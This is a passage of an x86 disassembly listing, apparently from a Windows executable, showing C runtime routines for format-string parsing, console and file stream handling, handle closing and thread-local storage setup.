loc_44A089:				; CODE XREF: sub_449FDB+9Dj
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_8], 0
		jmp	short loc_44A0D4
; ---------------------------------------------------------------------------


loc_44A0BB:				; CODE XREF: sub_449FDB+10Ej
		movzx	eax, [ebp+var_8]
		mov	edx, offset dword_40FAD8
		mov	ecx, esi
		sub	ecx, edx
		or	eax, dword_40FAE0[ecx*4]
		mov	[ebp+var_8], ax
		inc	ebx


loc_44A0D4:				; CODE XREF: sub_449FDB+DEj
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset dword_40FAD8
		call	sub_44A67B
		add	esp, 8
		mov	esi, eax
		test	eax, eax
		jnz	short loc_44A0BB
		cmp	byte ptr [ebx],	2Ah
		jnz	short loc_44A113
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_44A110
		mov	eax, [ebp+var_C]
		neg	eax
		mov	[ebp+var_C], eax
		or	[ebp+var_8], 4


loc_44A110:				; CODE XREF: sub_449FDB+126j
		inc	ebx
		jmp	short loc_44A149
; ---------------------------------------------------------------------------


loc_44A113:				; CODE XREF: sub_449FDB+113j
		mov	[ebp+var_C], 0
		jmp	short loc_44A138
; ---------------------------------------------------------------------------


loc_44A11C:				; CODE XREF: sub_449FDB+16Cj
		cmp	[ebp+var_C], 7FFFFFFFh
		jge	short loc_44A137
		mov	eax, [ebp+var_C]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_C], eax


loc_44A137:				; CODE XREF: sub_449FDB+148j
		inc	ebx


loc_44A138:				; CODE XREF: sub_449FDB+13Fj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_41189C
		test	word ptr [edx+eax*2], 1
		jnz	short loc_44A11C


loc_44A149:				; CODE XREF: sub_449FDB+136j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_44A154
		or	[ebp+var_14], 0FFFFFFFFh
		jmp	short loc_44A1A4
; ---------------------------------------------------------------------------


loc_44A154:				; CODE XREF: sub_449FDB+171j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_44A16E
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		inc	ebx
		jmp	short loc_44A1A4
; ---------------------------------------------------------------------------


loc_44A16E:				; CODE XREF: sub_449FDB+17Fj
		mov	[ebp+var_14], 0
		jmp	short loc_44A193
; ---------------------------------------------------------------------------


loc_44A177:				; CODE XREF: sub_449FDB+1C7j
		cmp	[ebp+var_14], 7FFFFFFFh
		jge	short loc_44A192
		mov	eax, [ebp+var_14]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_14], eax


loc_44A192:				; CODE XREF: sub_449FDB+1A3j
		inc	ebx


loc_44A193:				; CODE XREF: sub_449FDB+19Aj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_41189C
		test	word ptr [edx+eax*2], 1
		jnz	short loc_44A177


loc_44A1A4:				; CODE XREF: sub_449FDB+177j
					; sub_449FDB+191j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aHjltzl	; "hjltzL"
		call	sub_44A67B
		add	esp, 8
		test	eax, eax
		jz	short loc_44A1C1
		mov	eax, ebx
		inc	ebx
		movzx	edi, byte ptr [eax]
		jmp	short loc_44A1C3
; ---------------------------------------------------------------------------


loc_44A1C1:				; CODE XREF: sub_449FDB+1DCj
		xor	edi, edi


loc_44A1C3:				; CODE XREF: sub_449FDB+1E4j
		mov	eax, edi
		mov	[ebp+var_6], al
		cmp	al, 68h
		jnz	short loc_44A1D8
		cmp	byte ptr [ebx],	68h
		jnz	short loc_44A1D8
		mov	[ebp+var_6], 62h
		inc	ebx
		jmp	short loc_44A208
; ---------------------------------------------------------------------------


loc_44A1D8:				; CODE XREF: sub_449FDB+1EFj
					; sub_449FDB+1F4j
		cmp	[ebp+var_6], 6Ch
		jnz	short loc_44A1EA
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_44A1EA
		mov	[ebp+var_6], 71h
		inc	ebx
		jmp	short loc_44A208
; ---------------------------------------------------------------------------


loc_44A1EA:				; CODE XREF: sub_449FDB+201j
					; sub_449FDB+206j
		cmp	[ebp+var_6], 0
		jnz	short loc_44A208
		cmp	byte ptr [ebx],	49h
		jnz	short loc_44A208
		cmp	byte ptr [ebx+1], 36h
		jnz	short loc_44A208
		cmp	byte ptr [ebx+2], 34h
		jnz	short loc_44A208
		mov	[ebp+var_6], 71h
		add	ebx, 3


loc_44A208:				; CODE XREF: sub_449FDB+1FBj
					; sub_449FDB+20Dj ...
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, ebx
		inc	ebx
		movzx	eax, byte ptr [eax]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_44B42B
		add	esp, 10h
		test	eax, eax
		jnz	short loc_44A245
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_44BB6B
		add	esp, 8
		test	eax, eax
		jge	loc_44A00B


loc_44A245:				; CODE XREF: sub_449FDB+24Dj
		or	eax, 0FFFFFFFFh


loc_44A248:				; CODE XREF: sub_449FDB+8Ej
					; sub_449FDB+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449FDB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A25B	proc near		; CODE XREF: sub_448A5B+6p
		cmp	dword_411238, 0
		jz	short loc_44A26A
		mov	eax, dword_411238
		retn
; ---------------------------------------------------------------------------


loc_44A26A:				; CODE XREF: sub_44A25B+7j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConout	; "CONOUT$"
		call	dword_411DD4	; CreateFileA
		retn
sub_44A25B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		cmp	dword_41123C, 0
		jz	short loc_44A29A
		mov	eax, dword_41123C
		retn
; ---------------------------------------------------------------------------


loc_44A29A:				; CODE XREF: DMN1:0044A292j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConin	; "CONIN$"
		call	dword_411DD4	; CreateFileA
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A2BB	proc near		; CODE XREF: sub_448AFB+35p
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx


loc_44A2C1:				; CODE XREF: sub_44A2BB+4Ej
		cmp	off_411374[ebx*4], 0
		jnz	short loc_44A2E7
		push	4Ch
		call	sub_44999B
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_44A30B
		mov	off_411374[ebx*4], esi
		mov	word ptr [esi],	80h
		jmp	short loc_44A30B
; ---------------------------------------------------------------------------


loc_44A2E7:				; CODE XREF: sub_44A2BB+Ej
		mov	eax, off_411374[ebx*4]
		cmp	word ptr [eax],	0
		jnz	short loc_44A302
		mov	esi, off_411374[ebx*4]
		mov	word ptr [esi],	0FF7Fh
		jmp	short loc_44A30B
; ---------------------------------------------------------------------------


loc_44A302:				; CODE XREF: sub_44A2BB+37j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_44A2C1


loc_44A30B:				; CODE XREF: sub_44A2BB+1Cj
					; sub_44A2BB+2Aj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_44A2BB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A31B	proc near		; CODE XREF: sub_448AFB+45p

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_44A332
		xor	eax, eax
		jmp	loc_44A456
; ---------------------------------------------------------------------------


loc_44A332:				; CODE XREF: sub_44A31B+Ej
		mov	ax, [ebx]
		and	ax, 80h
		mov	[ebp+var_2], ax
		mov	edi, ebx
		mov	esi, offset dword_40FB10
		mov	ecx, 13h
		rep movsd
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	72h
		jnz	short loc_44A38C
		mov	[ebp+var_8], 1
		jmp	short loc_44A3B3
; ---------------------------------------------------------------------------


loc_44A38C:				; CODE XREF: sub_44A31B+66j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	77h
		jnz	short loc_44A39D
		mov	[ebp+var_8], 1Ah
		jmp	short loc_44A3B0
; ---------------------------------------------------------------------------


loc_44A39D:				; CODE XREF: sub_44A31B+77j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	61h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 16h
		mov	[ebp+var_8], eax


loc_44A3B0:				; CODE XREF: sub_44A31B+80j
		mov	eax, [ebp+var_8]


loc_44A3B3:				; CODE XREF: sub_44A31B+6Fj
		movzx	eax, [ebp+var_2]
		or	eax, [ebp+var_8]
		mov	[ebx], ax
		test	word ptr [ebx],	3
		jnz	short loc_44A3F6
		push	ebx
		call	sub_448D5B
		pop	ecx
		xor	eax, eax
		jmp	loc_44A456
; ---------------------------------------------------------------------------


loc_44A3D2:				; CODE XREF: sub_44A31B+E5j
					; sub_44A31B+EDj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	62h
		jnz	short loc_44A3E7
		test	word ptr [ebx],	20h
		jnz	short loc_44A40A
		or	word ptr [ebx],	20h
		jmp	short loc_44A3F6
; ---------------------------------------------------------------------------


loc_44A3E7:				; CODE XREF: sub_44A31B+BDj
		movzx	eax, word ptr [ebx]
		and	eax, 3
		cmp	eax, 3
		jz	short loc_44A40A
		or	word ptr [ebx],	3


loc_44A3F6:				; CODE XREF: sub_44A31B+A7j
					; sub_44A31B+CAj
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax
		cmp	byte ptr [eax],	62h
		jz	short loc_44A3D2
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	2Bh
		jz	short loc_44A3D2


loc_44A40A:				; CODE XREF: sub_44A31B+C4j
					; sub_44A31B+D5j
		cmp	[ebp+arg_0], 0
		jz	short loc_44A438
		mov	eax, [ebp+arg_4]
		push	eax
		movzx	eax, word ptr [ebx]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44BDDB
		add	esp, 0Ch
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_44A44F
		push	ebx
		call	sub_448D5B
		pop	ecx
		xor	eax, eax
		jmp	short loc_44A456
; ---------------------------------------------------------------------------


loc_44A438:				; CODE XREF: sub_44A31B+F3j
		cmp	[ebp+arg_C], 0
		jge	short loc_44A449
		push	ebx
		call	sub_448D5B
		pop	ecx
		xor	eax, eax
		jmp	short loc_44A456
; ---------------------------------------------------------------------------


loc_44A449:				; CODE XREF: sub_44A31B+121j
		mov	eax, [ebp+arg_C]
		mov	[ebx+4], eax


loc_44A44F:				; CODE XREF: sub_44A31B+110j
		call	sub_448BFB
		mov	eax, ebx


loc_44A456:				; CODE XREF: sub_44A31B+12j
					; sub_44A31B+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A31B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A46B	proc near		; CODE XREF: sub_448BFB+4Dp

arg_0		= dword	ptr  4

		mov	eax, dword_4111A8
		cmp	dword_4111A4, eax
		ja	short loc_44A47F
		call	sub_44BE4B
		jmp	short locret_44A498
; ---------------------------------------------------------------------------


loc_44A47F:				; CODE XREF: sub_44A46B+Bj
		mov	eax, dword_4111A8
		lea	edx, [eax+1]
		mov	dword_4111A8, edx
		mov	edx, [esp+arg_0]
		mov	dword_411064[eax*4], edx

locret_44A498:				; CODE XREF: sub_44A46B+12j
		retn
sub_44A46B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A49B	proc near		; CODE XREF: sub_448C7B+8p
					; sub_448F5B+D0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_44A4F9
		push	6
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		jmp	short loc_44A4E3
; ---------------------------------------------------------------------------


loc_44A4C3:				; CODE XREF: sub_44A49B+4Fj
		mov	eax, [ebp+var_4]
		mov	eax, off_411374[eax*4]
		test	eax, eax
		jz	short loc_44A4E0
		push	eax
		call	sub_44A49B
		pop	ecx
		test	eax, eax
		jge	short loc_44A4E0
		or	[ebp+var_8], 0FFFFFFFFh


loc_44A4E0:				; CODE XREF: sub_44A49B+34j
					; sub_44A49B+3Fj
		inc	[ebp+var_4]


loc_44A4E3:				; CODE XREF: sub_44A49B+26j
		cmp	[ebp+var_4], 100h
		jl	short loc_44A4C3
		push	6
		call	sub_449FBB
		pop	ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_44A56B
; ---------------------------------------------------------------------------


loc_44A4F9:				; CODE XREF: sub_44A49B+Ej
		test	word ptr [ebx],	2000h
		jnz	short loc_44A504
		xor	eax, eax
		jmp	short loc_44A56B
; ---------------------------------------------------------------------------


loc_44A504:				; CODE XREF: sub_44A49B+63j
		mov	esi, [ebx+8]
		jmp	short loc_44A540
; ---------------------------------------------------------------------------


loc_44A509:				; CODE XREF: sub_44A49B+A8j
		mov	eax, [ebx+10h]
		sub	eax, esi
		push	eax
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_44C05B
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jg	short loc_44A53E
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		or	word ptr [ebx],	200h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44A56B
; ---------------------------------------------------------------------------


loc_44A53E:				; CODE XREF: sub_44A49B+85j
		add	esi, edi


loc_44A540:				; CODE XREF: sub_44A49B+6Cj
		cmp	esi, [ebx+10h]
		jb	short loc_44A509
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	word ptr [ebx],	0C00h
		jz	short loc_44A557
		mov	esi, [ebx+8]
		jmp	short loc_44A55A
; ---------------------------------------------------------------------------


loc_44A557:				; CODE XREF: sub_44A49B+B5j
		mov	esi, [ebx+0Ch]


loc_44A55A:				; CODE XREF: sub_44A49B+BAj
		test	word ptr [ebx],	4000h
		jz	short loc_44A566
		mov	[ebx+18h], esi
		jmp	short loc_44A569
; ---------------------------------------------------------------------------


loc_44A566:				; CODE XREF: sub_44A49B+C4j
		mov	[ebx+30h], esi


loc_44A569:				; CODE XREF: sub_44A49B+C9j
		xor	eax, eax


loc_44A56B:				; CODE XREF: sub_44A49B+5Cj
					; sub_44A49B+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A49B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A57B	proc near		; CODE XREF: sub_44A61B+41p
					; sub_44D0DB+328p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_44C35B
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44A5CA
		cmp	ebx, 1
		jz	short loc_44A59E
		cmp	ebx, 2
		jnz	short loc_44A5B8


loc_44A59E:				; CODE XREF: sub_44A57B+1Cj
		push	1
		call	sub_44C35B
		pop	ecx
		mov	[ebp+var_4], eax
		push	2
		call	sub_44C35B
		pop	ecx
		mov	edx, [ebp+var_4]
		cmp	edx, eax
		jz	short loc_44A5CA


loc_44A5B8:				; CODE XREF: sub_44A57B+21j
		push	ebx
		call	sub_44C35B
		pop	ecx
		push	eax
		call	dword_411CFC	; CloseHandle
		test	eax, eax
		jz	short loc_44A5CE


loc_44A5CA:				; CODE XREF: sub_44A57B+17j
					; sub_44A57B+3Bj
		xor	esi, esi
		jmp	short loc_44A5D6
; ---------------------------------------------------------------------------


loc_44A5CE:				; CODE XREF: sub_44A57B+4Dj
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax


loc_44A5D6:				; CODE XREF: sub_44A57B+51j
		push	ebx
		call	sub_44C20B
		pop	ecx
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	byte ptr [edx+eax+4], 0
		test	esi, esi
		jz	short loc_44A606
		push	esi
		call	sub_449A3B
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44A608
; ---------------------------------------------------------------------------


loc_44A606:				; CODE XREF: sub_44A57B+7Dj
		xor	eax, eax


loc_44A608:				; CODE XREF: sub_44A57B+89j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A57B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A61B	proc near		; CODE XREF: sub_448C7B+30p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_44A644
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44A654


loc_44A644:				; CODE XREF: sub_44A61B+Cj
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44A66D
; ---------------------------------------------------------------------------


loc_44A654:				; CODE XREF: sub_44A61B+27j
		push	ebx
		call	sub_44C47B
		pop	ecx
		push	ebx
		call	sub_44A57B
		pop	ecx
		mov	esi, eax
		push	ebx
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44A66D:				; CODE XREF: sub_44A61B+37j
		pop	esi
		pop	ebx
		retn
sub_44A61B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A67B	proc near		; CODE XREF: sub_448EBB+39p
					; sub_449FDB+102p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, al
		jmp	short loc_44A690
; ---------------------------------------------------------------------------


loc_44A687:				; CODE XREF: sub_44A67B+17j
		cmp	byte ptr [ecx],	0
		jnz	short loc_44A68F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_44A68F:				; CODE XREF: sub_44A67B+Fj
		inc	ecx


loc_44A690:				; CODE XREF: sub_44A67B+Aj
		cmp	[ecx], dl
		jnz	short loc_44A687
		mov	eax, ecx
		retn
sub_44A67B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A69B	proc near		; CODE XREF: sub_448F5B+3Dp
					; sub_44E5FB+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		jbe	short loc_44A6B4
		xor	eax, eax
		jmp	loc_44A78D
; ---------------------------------------------------------------------------


loc_44A6B4:				; CODE XREF: sub_44A69B+10j
		movzx	eax, word ptr [ebx]
		and	eax, 9002h
		cmp	eax, 2
		jz	short loc_44A6F0
		movzx	eax, word ptr [ebx]
		mov	[ebp+var_4], eax
		test	eax, 8000h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 200h
		mov	edx, [ebp+var_4]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_44A78D
; ---------------------------------------------------------------------------


loc_44A6F0:				; CODE XREF: sub_44A69B+24j
		movzx	eax, word ptr [ebx]
		and	eax, 6000h
		cmp	eax, 6000h
		jnz	short loc_44A717
		mov	eax, [ebx+0Ch]
		cmp	eax, [ebx+10h]
		ja	short loc_44A717
		push	ebx
		call	sub_44A49B
		pop	ecx
		test	eax, eax
		jz	short loc_44A717
		or	eax, 0FFFFFFFFh
		jmp	short loc_44A78D
; ---------------------------------------------------------------------------


loc_44A717:				; CODE XREF: sub_44A69B+62j
					; sub_44A69B+6Aj ...
		test	word ptr [ebx],	0C00h
		jnz	short loc_44A726
		lea	eax, [ebx+48h]
		cmp	eax, [ebx+8]
		jz	short loc_44A728


loc_44A726:				; CODE XREF: sub_44A69B+81j
		jmp	short loc_44A77A
; ---------------------------------------------------------------------------


loc_44A728:				; CODE XREF: sub_44A69B+89j
		push	200h
		call	sub_44999B
		pop	ecx
		mov	[ebx+8], eax
		test	eax, eax
		jnz	short loc_44A754
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		inc	eax
		mov	[ebx+0Ch], eax
		call	sub_448BFB
		jmp	short loc_44A77A
; ---------------------------------------------------------------------------


loc_44A754:				; CODE XREF: sub_44A69B+9Dj
		or	word ptr [ebx],	40h
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		add	eax, 200h
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+2Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		call	sub_448BFB


loc_44A77A:				; CODE XREF: sub_44A69B:loc_44A726j
					; sub_44A69B+B7j
		mov	eax, [ebx+8]
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		or	word ptr [ebx],	6000h
		xor	eax, eax


loc_44A78D:				; CODE XREF: sub_44A69B+14j
					; sub_44A69B+50j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A69B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A79B	proc near		; CODE XREF: sub_448F5B+59p
					; sub_44B42B+696p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		mov	edx, [esp+4+arg_0]
		jmp	short loc_44A7B6
; ---------------------------------------------------------------------------


loc_44A7AC:				; CODE XREF: sub_44A79B+1Dj
		cmp	[edx], bl
		jnz	short loc_44A7B4
		mov	eax, edx
		jmp	short loc_44A7BC
; ---------------------------------------------------------------------------


loc_44A7B4:				; CODE XREF: sub_44A79B+13j
		inc	edx
		dec	ecx


loc_44A7B6:				; CODE XREF: sub_44A79B+Fj
		test	ecx, ecx
		jnz	short loc_44A7AC
		xor	eax, eax


loc_44A7BC:				; CODE XREF: sub_44A79B+17j
		pop	ebx
		retn
sub_44A79B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A7CB	proc near		; CODE XREF: DMN1:loc_4492E2p
		push	ebx
		call	sub_449E9B
		call	dword_411DD8	; TlsAlloc
		mov	dword_411774, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44A7E7
		xor	eax, eax
		jmp	short loc_44A822
; ---------------------------------------------------------------------------


loc_44A7E7:				; CODE XREF: sub_44A7CB+16j
		push	48h
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44A806
		push	ebx
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue
		test	eax, eax
		jnz	short loc_44A80A


loc_44A806:				; CODE XREF: sub_44A7CB+28j
		xor	eax, eax
		jmp	short loc_44A822
; ---------------------------------------------------------------------------


loc_44A80A:				; CODE XREF: sub_44A7CB+39j
		push	ebx
		call	sub_44A85B
		pop	ecx
		call	dword_411DDC	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		mov	eax, 1


loc_44A822:				; CODE XREF: sub_44A7CB+1Aj
					; sub_44A7CB+3Dj
		pop	ebx
		retn
sub_44A7CB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		call	sub_449EDB
		cmp	dword_411774, 0FFFFFFFFh
		jz	short locret_44A84F
		mov	eax, dword_411774
		push	eax
		call	dword_411DE0	; TlsFree
		or	dword_411774, 0FFFFFFFFh

locret_44A84F:				; CODE XREF: DMN1:0044A83Aj
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A85B	proc near		; CODE XREF: sub_44910B+17p
					; sub_44A7CB+40p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, ebx
		mov	ecx, 48h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		mov	dword ptr [ebx+34h], offset dword_4117E8
		mov	dword ptr [ebx+10h], 1
		pop	ebx
		retn
sub_44A85B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A88B	proc near		; CODE XREF: sub_44919B+1p sub_449B9Bp ...
		push	ebx
		push	esi
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax
		mov	eax, dword_411774
		push	eax
		call	dword_411DE4	; TlsGetValue
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44A8E3
		push	48h
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44A8DB
		push	ebx
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue
		test	eax, eax
		jz	short loc_44A8DB
		push	ebx
		call	sub_44A85B
		pop	ecx
		call	dword_411DDC	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_44A8E3
; ---------------------------------------------------------------------------


loc_44A8DB:				; CODE XREF: sub_44A88B+28j
					; sub_44A88B+39j
		push	1
		call	sub_44A98B
		pop	ecx


loc_44A8E3:				; CODE XREF: sub_44A88B+1Aj
					; sub_44A88B+4Ej
		push	esi
		call	dword_411D18	; RtlRestoreLastWin32Error
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_44A88B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44A8FB	proc near		; CODE XREF: sub_44919B+28p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	dword_411774, 0FFFFFFFFh
		jz	short loc_44A987
		test	ebx, ebx
		jnz	short loc_44A91E
		mov	eax, dword_411774
		push	eax
		call	dword_411DE4	; TlsGetValue
		mov	ebx, eax


loc_44A91E:				; CODE XREF: sub_44A8FB+13j
		test	ebx, ebx
		jz	short loc_44A979
		mov	eax, [ebx+20h]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	eax, [ebx+24h]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	eax, [ebx+2Ch]
